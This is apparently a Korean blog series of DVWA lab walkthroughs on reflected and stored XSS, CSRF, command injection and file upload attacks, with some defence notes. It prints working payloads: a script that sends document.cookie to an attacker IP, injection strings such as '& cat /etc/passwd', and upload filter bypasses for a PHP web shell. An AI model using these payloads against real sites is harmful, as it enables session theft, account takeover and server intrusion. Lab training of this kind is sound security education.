'웹해킹'에 해당되는 글 40건

1. Reflected XSS 공격 개요

리플렉티드 크로스 사이트 스크립팅 취약점은 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점이다. 입력된 스크립트가 마치 반사되는 것처럼 동작하기 때문에 붙은 이름이다.

[그림 1-1] Reflected XSS 공격 과정

[출저 : AhnLab Blog]

공격자는 사용자가 Reflected XSS 공격에 유도될 수 있도록 이메일, 게시판, SNS 등 공격자가 링크를 남길 수 있는 곳이라면 어디든 피싱을 한다. 사용자는 공격자가 걸어 놓은 악성 링크를 클릭하게 되면 공격 스크립트 코드가 삽입된 사이트로 이동되고 입력된 스크립트가 반사되어 그대로 웹 사이트에 출력된다. 웹 페이지를 읽은 웹 브라우저는 자동으로 스크립트를 실행하고 세션 쿠키를 공격자에게 전달한다. 세션 쿠키를 전달받은 공격자는 사용자의 권한으로 로그인할 수 있게 된다.

2. Reflected XSS 공격 실습

[그림 1-2] XSS 공격 구문

XSS 공격 구문인 <script>alert(1)</script>를 삽입한 후 Submit을 클릭해 웹 브라우저에 요청을 보낸다.

[그림 1-3] Reflected XSS 공격 실행

웹 브라우저에 요청을 보내면 곧바로 경고창이 실행된다. 이와 같이 스크립트가 응답되서 실행될 때 Reflected XSS 공격 취약점이 존재한다고 판단할 수 있다.

[그림 1-4] 쿠키 값 탈취 스크립트

웹 브라우저에 쿠키 값을 탈취할 수 있는 Reflected XSS 공격 구문을 삽입한 후 요청을 보낸다.

[그림 1-5] 쿠키 값 탈취

document.cookie 스크립트 코드로 인해 쿠키 값이 출력된다. PHPSESSID라는 쿠키는 php에서 생성된 세션 쿠키다. Reflected XSS 공격은 주로 세션 쿠키를 알아내기 위해 사용된다.

[그림 1-5] Redirect 스크립트

폼에 <script>document.location='http://192.168.171.172/cookie?'+document.cookie</script>를 입력하고 요청을 보낸다. document.location을 이용해 지정한 위치로 리다이렉트 시키는 스크립트다. 이 스크립트가 실행되면 웹 브라우저는 공격자의 호스트로 접속하게 된다.

[그림 1-6] 로그 검색

Tail 명령어를 활용해 파일의 내용을 확인한다. 웹 서버로 들어온 요청 정보가 기록되는데 DVWA에서 Reflected XSS 공격을 할 때마다 로그 파일에 로그가 계속 기록된다. 앞서 했던 쿠키 값을 탈취하기 위해 실행했던 document.cookie 스크립트와 함께 PHPSESSID 세션 쿠키 값도 모두 기록되어 있다는 것을 확인할 수 있다. Reflected XSS 공격은 사용자가 눈치 채지 못하게 공격을 해야 하기 때문에 사용자에게 피싱을 어떤식으로 하는지가 가장 중요한 관건이 된다.

1. Stored XSS 공격 개요

Stored XSS 공격은 웹 브라우저에서 스크립트를 실행하는 것은 Reflected XSS 공격과 동일하지만 웹 서버에 스크립트를 저장했다가 실행된다는 차이점이 있다.

[그림 1-1] Stored XSS 공격 과정

공격자는 XSS 공격 스크립트를 웹 사이트 방명록이나 게시판 등에 삽입한다. 삽입 후 다른 사용자들이 방명록이나 게시판 등을 방문해 공격자가 작성한 게시물을 클릭하기를 기다린다. 사용자가 공격자가 작성한 게시물을 실행하면 스크립트 코드가 사용자에게 전달된다. 이 때 웹 브라우저는 스크립트 코드를 실행해서 세션 쿠키가 공격자에게 전달되고 공격자는 세션 쿠키를 사용해 사용자의 권한으로 웹 사이트 접속이 가능해진다. Reflected XSS 공격보다 공격 경로가 다양하기 때문에 더 위험하다고 판단할 수 있다.

2. Stored XSS 공격 실습

[그림 1-1] 개발자 도구

Stored XSS 공격을 시도하기 위해 <script>document.location='http://192.168.171.172/cookie?'+document.cookie</script> 구문을 삽입해야 하는데 글자수 제한에 막힌다. 하지만 개발자 도구에서 maxlength 속성 값을 수정하면 우회가 가능하다. 충분한 글자 확보를 위해 500으로 지정한다.

[그림 1-2] Stored XSS 공격 구문

글자수 제한 수정 후 Stored XSS 공격 구문을 삽입한 후 게시글을 저장한다.

[그림 1-3] 에러 페이지

작성한 게시글을 실행하면 [그림 1-3]과 같은 에러 페이지가 발생하는데 이미 지정해 놓은 공격자의 호스트로 전송된다.

[그림 1-4] 로그 검색

Tail 명령어를 활용해 파일의 내용을 확인한다. 웹 서버로 들어온 요청 정보가 기록되는데 DVWA에서 Stored XSS 공격을 할 때마다 로그 파일에 로그가 계속 기록된다. 앞서 했던 쿠키 값을 탈취하기 위해 실행했던 document.cookie 스크립트와 함께 PHPSESSID 세션 쿠키 값도 모두 기록되어 있다는 것을 확인할 수 있다. Stored XSS 공격은 웹 서버에 저장해 놓은 상태에서 공격이 되기 때문에 공격할 수 있는 경로가 많아 모의해킹 진행 시 신경써야 하는 취약점 중 하나다.

1. CSRF 공격 High 단계 실습

[그림 1-1] 패스워드 변경

CSRF 공격 탭에서 패스워드를 변경한다.

[그림 1-2] 토큰 값 비교

위에 그림은 사용자의 비밀번호 1234고 아래 그림은 공격자의 비밀번호인 hacker다. 두 그림을 비교하면 큰 차이가 없지만 user_token 값이 다르다는 걸 볼 수 있다. user_token값이 일치하지 않게 되면 웹 사이트도 정상적인 사용자로 인식하지 않게 되서 CSRF 공격이 불가능하다.

[그림 1-3] 토큰 변조

공격자가 원하는 패스워드로 요청을 보낸 뒤 토큰 값을 임의로 변조한 후 응답을 보낸다.

[그림 1-4] CSRF 공격 실패

토큰 값을 임의로 변조 후 응답을 보내면 CSRF 공격이 실패했음을 볼 수 있다. 공격자는 정확한 토큰 값을 입력해서 보내야 CSRF 공격에 성공하는데 서버에 요청을 보낼때마다 토큰 값이 랜덤하게 바뀌기 때문에 예측하기 어려워져 공격이 불가능하게 된다.

[그림 1-5] 우회 소스 코드

High 단계의 CSRF 공격을 우회하기 위한 소스코드를 분석한다. 크게 두가지 요청으로 나눌 수 있는데 첫번째 요청은 패스워드를 변경할 때 user_token 값을 가져온다. 두번째 요청에선 첫번째 요청에서 가져온 user_token 값을 분석한 후 CSRFtoken 변수에서 user_token 값을 추출한다. 그 후 추출한 user_token 값과 함께 응답을 보낸다.

[그림 1-6] 게시판 삽입

CSRF 공격을 우회하기 위해 게시판을 활용한다. 우회 파일이 저장되어 있는 웹서버 IP주소와 경로를 입력한 후 게시판에 글을 등록한다.

[그림 1-7] 스크립트 실행

스크립트가 실행되면 [그림 1-7]과 같이 토큰 값이 출력된다. 토큰 값이 출력되면 공격에 성공했을 가능성이 높다.

[그림 1-8] 계정 변경

공격에 성공하고 로그아웃 후 다시 로그인을 시도하면 기존 계정으론 로그인이 되지 않는다. 반면 hacker라는 패스워드를 입력한 후 로그인을 시도하면 로그인이 된다는 것을 볼 수 있다.

2. CSRF 공격 대응 방안

[그림 2-1] CSRF 공격 대응

CSRF 공격 대응 방안으로 기존 패스워드 입력을 요구하는 방법이 있다. 만약 기존 패스워드를 모른다면 패스워드 변경은 불가능하고 CSRF 공격도 전혀 통하지 않게 된다. 이 외에도 클라이언트가 서버에 토큰 값을 요청할 때 랜덤하게 토큰값을 바꿔서 요청하게 만들어 공격자가 토큰 값을 예측할 수 없도록 하는 방법과 Referer 헤더를 확인해 해당 사이트의 URL인지 아닌지 검사해서 CSRF 공격을 막는 방법도 존재한다.

[그림 2-2] 소스 코드

소스코드를 보면 user_token을 검사하는 코드가 존재한다. user_token을 검사한 후  토큰 값이 일치하지 않으면 CSRF 공격이 불가능하다. 또한 로그인 폼도 기존 패스워드, 변경할 패스워드, 변경할 패스워도 재확인 3가지로 구성되어 있어 반드시 기존 패스워드를 알아야 패스워드 변경이 가능하기 때문에 CSRF 공격이 불가능하다. 

** 추가 대응 방안 **

XSS 공격과 CSRF 공격의 근본적인 차이점은 XSS공격은 공격자가 의도한 악성 스크립트가 클라이언트에서 실행되는 반면 CSRF 공격은 악성 스크립트 자체를 웹 서버에 요청해서 공격을 진행한다는 차이가 있다.

-  요청을 할 때 GET 방식보다는 POST 방식을 사용한다.(보안상의 안전 차이)

-  요청메시지의 Referer 헤더를 검사해서 CSRF 공격을 판별한다. Referer는 이전에 접속했던 주소를 알려주는 역할을 하는데 이 헤더를 검사하면 정상적인 요청인지 피싱성 요청인지 구별할 수 있게 된다.

-  입력을 처리하는 폼은 토큰을 사용해서 공격자의 직접적인 URL이 동작하지 않게끔 처리하고 세션 검증 및 2차 인증을 유도해 공격을 방지한다.

-  특정한 사용자를 구분할 수 있는 인수를 적용해서 철저한 검증을 통해 CSRF 공격을 방지한다.

1. CSRF 공격 개요

[그림 1-1] CSRF 공격 시나리오

CSRF 공격의 일반적인 시나리오는 공격자가 피싱 기법을 사용해 사용자에게 이메일을 보내 공격자가 심어놓은 악성 링크를 클릭하게 유도한 후 사용자가 클릭하면 로그인 되어 있는 웹 사이트로 이동되서 어떤 기능을 실행하게 된다. 대표적으론 패스워드 변경, 비밀번호가 설정된 게시판 글 우회 등이 있다. CSRF 공격과 XSS 공격은 비슷해 보일 수 있지만 다르다. 특히 CSRF 공격과 XSS 공격의 결정적인 차이점은 CSRF 공격은 웹 사이트에 로그인이 되어 있어야 공격이 가능하다는 것이다. 쿠키 및 세션을 탈취해야 공격이 가능하기 때문에 웹 사이트에 로그인 됨은 필수 조건으로 들어간다.

2. CSRF 공격 실습

[그림 2-1] 비밀번호 변경

DVWA에 로그인 한 후 CSRF 탭을 클릭하고 패스워드를 변경한다. CSRF 공격은 쿠키 및 세션 값을 이용한 공격이기 때문에 DVWA 로그인이 되어 있어야한다.

[그림 2-2] 프록시

기존 패스워드와 변경할 패스워드 값이 프록시 결과에 나타난다. Low 단계에선 CSRF 공격에 대한 방어 코드가 없기 때문에 user_token 값이 바뀌지 않고 계속 유지된다.

[그림 2-3] 피싱 메일 소스 코드

스크립트 부분에서 poc() 코드를 정의하는데 URL과 파라미터를 똑같이 구성한다. 이 때 패스워드 파라미터는 hacker라는 패스워드 값으로 변경됐는데 CSRF 공격이 성공하면 그 계정은 공격자가 원하는 패스워드인 hacker로 변경된다. 또한 XMLHttpRequest() 함수를 사용한 Ajax 기법을 활용하고 있는데 poc()가 호출될 때마다 새로운 요청을 전송하도록 만들고 withCredentials 속성을 true로 설정해 요청을 전송할 때마다 쿠키를 자동으로 전송하게 한다.

[그림 2-4] csrf.html 업로드

csrf.html 파일을 웹 서버에 업로드한 후 아파치를 재시작한다.

[그림 2-4] 피싱 메일

사용자를 CSRF 공격으로 유도하기 위해 피싱 메일을 발송한다. 링크에는 http://서버 IP/csrf.html을 입력한다.

[그림 2-5] CSRF 공격

사용자가 링크를 클릭하면 공격자가 심어놓은 csrf 공격 페이지로 이동된다. 사용자는 피싱을 당하면 Click! 버튼을 클릭한다.

[그림 2-6] 변조된 패스워드

사용자가 공격자가 심어놓은 URL에 접속해 Click! 버튼을 클릭하는 순간 비밀번호가 변경된다. 로그아웃을 하고 기존 비밀번호로 접속하면 접속이 불가하다. 반면 공격자가 심어놓은 hacker를 입력하고 로그인을 시도하면 접속이 가능함을 확인할 수 있다.

[그림 2-7] 접속 성공

DVWA 계정인 admin, hacker를 입력하고 로그인을 시도하면 접속이 성공함을 볼 수 있다. 공격자가 원하는 비밀번호로 바꿔 접속 되서 사용자의 주민등록번호 등 개인정보를 탈취할 수 있게될 수 있다.

[그림 2-8] 요청 값 비교

왼쪽 Length:439는 공격자가 원하는 패스워드 변경을 요청 할 때, 오른쪽 Length:542는 사용자가 패스워드를 변경했을 때를 나타낸다. 두 그림을 비교했을 때 차이가 없지만 쿠키값이 같다는 걸 볼 수 있다. 쿠키값이 같으면 웹 사이트는 정상적인 사용자로 인지하기 때문에 공격자와 사용자를 구분할 수 없게 된다. CSRF는 쿠키 값을 통해 공격을 하기 때문에 웹 서버에 요청을 할 때마다 쿠키 값을 계속 바꾸는 대응 방안이 필요하다.

1. Command Injection 공격 Medium 단계 실습

[그림 1-1] ;id 실행

Medium 단계에서 ;id를 입력하고 요청을 보내고 결과를 보면 페이지에 어떤 것도 표시되지 않는다.

[그림 1-2] 소스 코드

소스 코드를 보면  target 인자값이 IP 주소를 입력 받는다. 그리고 substitutions 인자 값에서 &&와 ;를 삭제 한다. 추후 대소문자를 구분하는 str_replace 함수로 입력 받은 target 인자 값, substitutions 인자 값을 넘겨준다. 하지만 &&와 ; 두가지 문자열을 삭제해 Command Injection 공격을 방지하려고 했지만 우회가 가능하다.

[그림 1-3] ping

ping -c 4 127.0.0.1; id 명령어로 ping을 보내봐도 id 값은 출력되지 않고 세션 상태만 출력되서 공격은 되지 않는다.

[그림 1-4] 입력 값

코드를 우회하기 위해 ;를 입력하지 않고 | id이나 & id를 입력 한 후 요청을 보내면 id 정보를 획득할 수 있다. &&, ; 두가지 문자열만 삭제해서는 완벽한 방어가 될 수 없는 것이다.

[그림 1-5] 리눅스 계정 정보

& cat /etc/passwd 명령어를 입력한 후 요청을 보내면 리눅스 계정 정보 획득이 가능하다. Medium 단계에선 &, | 문자열로 우회가 가능하다.

2. Command Injection 공격 High 단계 실습

[그림 2-1] ping

ping -c 4 127.0.0.1& id 명령어를 입력하고 실행하면 id 값은 출력되지 않고 세션 상태만 출력됨을 볼 수 있다.

[그림 2-2] 소스 코드

소스코드를 보면 Command Injection에서 시도될법한 문자열들을 모두 삭제하고 있는 것을 볼 수 있다. 하지만 세번째 문자열 |를 보면 '| '로 되어 있어 코드 오류로 인해 우회가 가능하다.

[그림 2-3] ping

& id 값으로 ping 시도 결과 id 값은 출력되지 않고 입력 값에 대한 세션 상태만 출력하고 있다. 

[그림 2-4] 실행 결과

|id를 폼에 입력한 후 요청을 보낸 결과 값을 우회해서 정상적으로 id 값이 출력 됨을 확인할 수 있다.

1. 파일 업로드 공격 대응 방안

[그림 1-1] 소스 코드

업로드한 원본 이미지로부터 MIME 형식에 따라 PHP의 imagecreatefromjpeg 함수나 imagecreatefrompng 함수를 사용해서 새로운 이미지를 만든다. 두 함수는 오직 이미지만을 만들기 때문에 이미지가 아닌 데이터들은 모두 버린다. 또한 원본 이미지는 저장하지 않고 버린다.

[그림 1-2] 이미지 업로드

이미지 파일을 다운받고 이미지 파일을 업로드 하면 정상적으로 사진이 화면에 출력된다. 하지만 서버에 업로드 된 사진과 원본 사진의 크기는 다르다.

[그림 1-3] 원본 파일

[그림 1-4] 업로드 된 파일

서버에 업로드 된 파일과 원본 파일의 크기를 비교하면 다르다는 걸 알 수 있다. 두 파일이 언뜻 같아보일 수 있지만 크기가 달라 실제로 다른 파일이 업로드 된 것이다. 이처럼 이미지 파일을 재작성해서 서버에 저장하면 파일 업로드 취약점 공격에 대해 확실하게 대비할 수 있다. 하지만 이미지를 재처리하는 것은 서버에 부담을 줄 수 있기 때문에 실제로는 많이 사용하지 않는 방어법이고 High 레벨 수준의 방어가 가장 적절하다.

1. 파일 업로드 공격 Medium 단계 실습

[그림 1-1] 파일 업로드 시도

cmd.php 파일 업로드 시도 결과 jpeg와 png 확장자만 허용한다는 메시지가 출력되면서 php 파일은 업로드가 되지 않음을 볼 수 있다.

[그림 1-2] 소스 코드

소스 코드를 보면 업로드할 파일의 MIME 형식을 점검한다. MIME 형식이 image/jpeg, image/png 인 경우에만 업로드를 허용하고 있다. 웹 브라우저는 확장자를 기반으로 MIME 형식을 결정하기 때문에 실제 jpg 파일이 아니더라도 MIME 형식은 image/jpeg가 된다.

[그림 1-3] 프록시

파일 업로드 시도 시 프록시를 설정하면 Content-Type 헤더가 있는데 이 부분을 image/jpeg로 변조 후 Intercept On을 보낸다.

[그림 1-4] 실행 결과

 Content-Type 헤더 변조 후 파일 업로드 시도 결과 정상적으로 업로드에 성공했음을 볼 수 있다. 나머지 과정은 Low 레벨에서와 같다.

2. 파일 업로드 공격 High 단계 실습

[그림 2-1] 파일 업로드

cmd.php 파일 업로드 시도 결과 jpeg와 png 확장자만 허용한다는 메시지가 출력되면서 php 파일은 업로드가 되지 않음을 볼 수 있다.

[그림 2-2] 소스 코드

소스코드를 보면 대소문자 구분 없이 확장자가 jpg, jpeg, png일때만 파일 업로드를 허용한다. Medium 레벨과 차이가 난다면 getimagesize 함수를 사용해 실제 이미지인지 아닌지 검사를 한다는 것이다. 만약 실제 이미지가 아니라면 false를 반환한다.

[그림 2-3] 프록시

프록시를 보면 filename에서 cmd.php.jpg로 변조하고 getmagesize 함수를 우회하기 위해 내용에 GIF89a를 추가한다. GIF89a는 gif 이미지 파일에 표준에 정의된 값으로 이미지 파일처럼 속이는게 가능하다.

[그림 2-4] 실행 결과

filename 및 내용 변조 후 파일 업로드 시도 결과 정상적으로 업로드에 성공했음을 볼 수 있다.

[그림 2-5] 웹 쉘 실행

웹 쉘 실행 결과 이미지만 출력되고 내부의 PHP 코드는 실행되지 않아 공격이 불가능한 상태임을 알 수 있다. 따라서 파일 업로드 공격이 완벽하게 방어 되었다. 실제로도 High 레벨의 방어 수준만 되도 파일 업로드 공격은 최상의 방어 상태라고 보고 있다.

1. 파일 업로드 공격 실습

파일 업로드 취약점은 공격자가 서버스크립트 코드가 포함된 파일을 올려 코드를 실행하는 공격이다. 이런 파일을 웹 쉘이라고 하는데 웹 쉘을 업로드해서 시스템으로 침투가 가능하다. 내부파일실행(LFI) 취약점과 비슷하며 확장자 필터링으로 차단이 가능하지만 이를 우회해서 업로드 하는 경우가 있다. 아래는 웹 쉘 확장자로 사용되는 확장자 목록이다.

* ASP/ASPX: asp, aspx, asa, cer, inc, cdx

* JSP: jsp, jspx

* PHP5: php, php3, php4, phtml

* PHP7: php, php3, php4, php5, pht, phtml

 2. 파일 업로드 공격 실습

[그림 2-1] 소스 코드

9~12번째 줄은 입력 폼을 제공하고 있다. 만약 시스템 명령어를 입력해 요청하면 cmd 파라미터를 통해 전달되고 system 함수에 의해 명령어를 실행하게 되는 웹 쉘 소스코드다.

[그림 2-2] 웹 쉘 업로드

Shell.php 파일을 업로드 하면 [그림 1-2]와 같이 업로드 된 경로와 함께 업로드가 성공했다는 메시지가 출력된다. http://192.168.171.173/dvwa/hackable/uploads/cmd.php URL로 접속하면 업로드 된 파일 내용을 볼 수 있다.

[그림 2-3] 명령어 실행

웹 쉘의 폼 필드를 통해 원하는 명령어를 실행할 수 있다. ls를 입력해 요청하면 서버에 있는 파일 목록을 볼 수 있다. 추가로 cat /etc/passwd를 입력하면 리눅스 계정 정보가 담긴 패스워드 파일들을 볼 수 있다. 폼 필드 뿐만이 아닌 URL에 직접 명령어를 입력해 실행해도 같은 결과가 나온다. 웹 쉘 업로드가 가능하면 리버스 쉘 기법 등을 활용해서 조금 더 깊은 침투가 가능하다.